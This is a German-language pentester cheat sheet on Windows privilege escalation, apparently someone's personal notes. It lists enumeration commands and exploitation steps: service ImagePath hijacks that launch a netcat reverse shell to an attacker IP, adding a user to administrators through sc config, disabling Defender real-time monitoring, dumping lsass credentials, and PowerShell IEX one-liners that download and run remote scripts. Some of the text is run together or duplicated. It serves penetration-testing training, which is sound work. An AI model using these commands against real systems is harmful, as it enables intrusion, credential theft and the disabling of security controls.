Basic Powershell for Pentester Windows Privilege Escalation https://www.youtube.com/playlist?list=PLDrNMcTNhhYrBNZ_FdtMq-gLFQeUZFzWV Powershell cheat sheet CMD für Pentester Checklist https://github.com/Jean-Francois-C/Windows-Penetration-Testing/tree/master/Privilege%20escalation%20techniques%20(examples)
powershell -ep bypass
-
Enumeration
systeminfo wmic qfe get Caption,Description,HotFixID,InstalledOn # Updates wmic logicaldisk get caption,description,providername # Laufwerke whoami /priv # Rechte whoami /groups # Gruppen net user # Nutzer net user administrator # Infos über Admin net localgroup administrators # Infos über admin gruppe ipconfig /all # Netzwerkgeräte arp -a # ARP Tabelle netstat -ano # Offene Ports gc (Get-PSReadLineOption).HistorySavePath # Lesen der Powershell history reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" # Checkt Windows Auto-login schtasks /query /fo LIST /v # Scheduled Tasks -
Privilegien ausnutzen
https://github.com/gtworek/Priv2Admin MitSeImpersonatePrivilegesind die Potato Attacken möglich. -
Privilegierte Gruppen
https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges -
Path interception
$env:Path -
Registry Escalation - Autorun
Durch die Überschreibung von Autorun Prozessen können die Privilegien erhöht werden. Dazu muss inC:\Users\User\Desktop\Tools\Autoruns\Autoruns64.exegeguckt werden, welche Programme automatisch gestartet werden. Dies ist im Tab Logon zu sehen. Dann kann mit dem folgenden geprüft werden, ob dies überschrieben werden kann:C:\Users\User\Desktop\Tools\Accesschk\accesschk64.exe -wvu "C:\Program Files\Autorun Program" -
Registry Escalation - AlwaysInstallElevated
In Windows gibt es die sogenannten.msiDateien. Dies sind Installer, welche Windows Programme beim Start automatisch installieren. Ist die VariableAlwaysInstallElevatedgesetzt, installieren diese Skripte mit admin Rechten. https://docs.metasploit.com/docs/using-metasploit/advanced/meterpreter/meterpreter-reg-command.htmlreg query HKLM\Software\Policies\Microsoft\Windows\Installer # Prüfen, ob Variable gesetzt reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer msiexec /quiet /qn /i <PROGRAM>.msi -
Service Escalation - Registry
Die Registry enthält low level Einstellungen für das Betriebssystem und die installierten Programme. Fehlkonfigurationen der Registry ACL können es einem Standard Nutzer ermöglichen Konfigurationen zu ändern. Ein Angreifer kann dies ausnutzen, um Registry Einträge für System Dienste zu ändern. Indem der Pfad der Ausführbaren Datei imImagePathgeändert wird. Der richtige Registry Dienst der ausgenutzt werden sollte ist ein Lokaler System Dienst und am besten mit der Option Manual, damit dieser selbst gestartet werden kann. Der authentifizierte Benutzer muss außerdem Schreibrechte haben, um die Registry Keys zu modifizieren. Check der Rechte zum ändern der Registry:Suche nach Services mit Local System Rechten:$acl = get-acl HKLM:\SYSTEM\CurrentControlSet\Services ConvertFrom-SddlString -Sddl $acl.Sddl | Foreach-Object {$_.DiscretionaryAcl} reg query HKLM\System\CurrentControlSet\Services\svc_name$services = Get-ItemProperty -Path HKLM:\System\CurrentContrlSet\Services\* $services | where {($_.ObjectName -match ‘LocalSystem’)}
reg add HKLM\SYSTEM\CurrentControlSet\services\svc_name /v ImagePath /t REG_EXPAND_SZ /d C:\path\shell.exe /f
$services | Where-Object {($_.ObjectName -eq "LocalSystem") -and ($_.Start -eq 3)}
| Value | Description |
|---|---|
| 0 | Boot |
| 1 | System |
| 2 | Automatic |
| 3 | Manual |
| 4 | Disabled |
Registry überschreiben:
Set-ItemProperty -path HKLM:\System\CurrentControlSet\services\<SERVICE> -name ImagePath -value "C:\windows\system32\spool\drivers\color\nc.exe -e powershell.exe 10.10.14.26 4447"
FILE_ALL_ACCESS Rechte hat kann diese manipulliert werden.
accesschk64.exe -wvu "C:\Program Files\File Permissions Service"
icacls.exe "C:\ProgramData\Microsoft\Start Menu\Programs\Startup"
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl``Get-CimInstance Win32_StartupCommand | select Name, command, Location, User | fl
sc start <SERVICE>
accesschk64.exe -uwcqv Everyone * # Alle Services, welche schreibbar sind und in der Gruppe Everyone.
accesschk64.exe -uwcv <SERVICE> # Mehr Serviceinfos
.\accesschk.exe /accepteula -uwdv "C:\Program Files" # checkt, ob Verzeichnisse schreibbar sind
`.\accesschk.exe /accepteula -uqv "C:\Program Files\abcd\file.exe"` # Checkt die Rechte einer Anwendung
.\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\svc_name # Überprüfung von schwachen registry Rechten
sc qc <SERVICE> # service config
sc config <SERVICE> binpath="net localgroup administrators user /add" # Möglich mit SC_CHANGE_CONFIG Rechten
C:\Program Files\Program Data\programm.exe, versucht Windows die folgenden Dinge auszuführen:
1. C:\Program.exe
2. C:\Program Files\Program.exe
3. C:\Program Files\Program Data\program.exe
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '"'
sc.exe start <Service Name> kann der Service gestartet werden.
Mit dem SeShutdownPrivilege Privilege und dem Kommando
shutdown /r /t 0 ist es möglich den Computer neuzustarten, falls der Service beim start ausgeführt wird.
- # Windows Subsystem for Linux
wsl python -c ‘BIND_OR_REVERSE_SHELL_PYTHON_CODE’
sc query windefend # check win defender
sc queryx type= service # Alle services
netsh advfirewall firewall dump
netsh firewall show state
netsh firewall show
Set-MpPreference -DisableRealTimeMonitoring $true # Deaktivieren von Echtzeit Monitorring
Set-MpPreference -DisableIOAVProtection $true # Deaktivieren von Dateiscanns
plink.exe -l <ATTACKER ROOT> -pw <ATTACKER PW> -R 445:127.0.0.1:445 <IP> # Forward of local port 445
findstr /si password *.txt *.ini *.config
runas ist es möglich Befehle als anderer Nutzer auszuführen. Um dies tun zu können brauchen wir credentials, dazu können wir prüfen ob welche gespeichert sind mit cmdkey /list. Mit diesem Nutzer können nun Befehle ausgeführt werden:
runas /savecred /user:<USER> "\\<IP>\SHARE\evil.exe" # Ausführen einer bin auf einem SMB Share
runas /savecred /user:<USER> "<BEFEHL>"
procdump.exe -accepteula -ma lsass.exe lsass.dmp
Get-AppLockerPolicy -Local | Test-AppLockerPolicy -path C:\Windows\System32\cmd.exe -User Everyone
`set` # Test der AppLocker Policy
# List shadow copies using vssadmin (Needs Admnistrator Access)
vssadmin list shadows
# List shadow copies using diskshadow
diskshadow list shadows all
# Make a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
PsExec.exe -i -s cmd.exe
REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1 gesetzt werden.
PowerUp zweitbestes Tool powershell.exe -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ip/PowerUp.ps1')"
JAWS
Windows Exploit Suggester Benutzt als Eingabe die Ausgabe von systeminfo
Metasploit Local Exploit Suggester
Seatbelt
SharpUp
- # Alternative Datenstreams
Auf dem NTFS Dateisystem ist es möglich Daten in alternativen Datenstreams zu verstecken. Dies kann mit dem sysinternals Tool streams überprüft werden.
- # Datei Transfer
- ## SMB
Starten des Servers auf Linux
sudo impacket-smbserver abcd ./
copy //<ATTACKER_IP>/<SHARE NAME>/<DATEI NAME>
powershell.exe -nop -ep bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://ip/file')"
powershell.exe iex (iwr http://ip/file -usebasicparsing)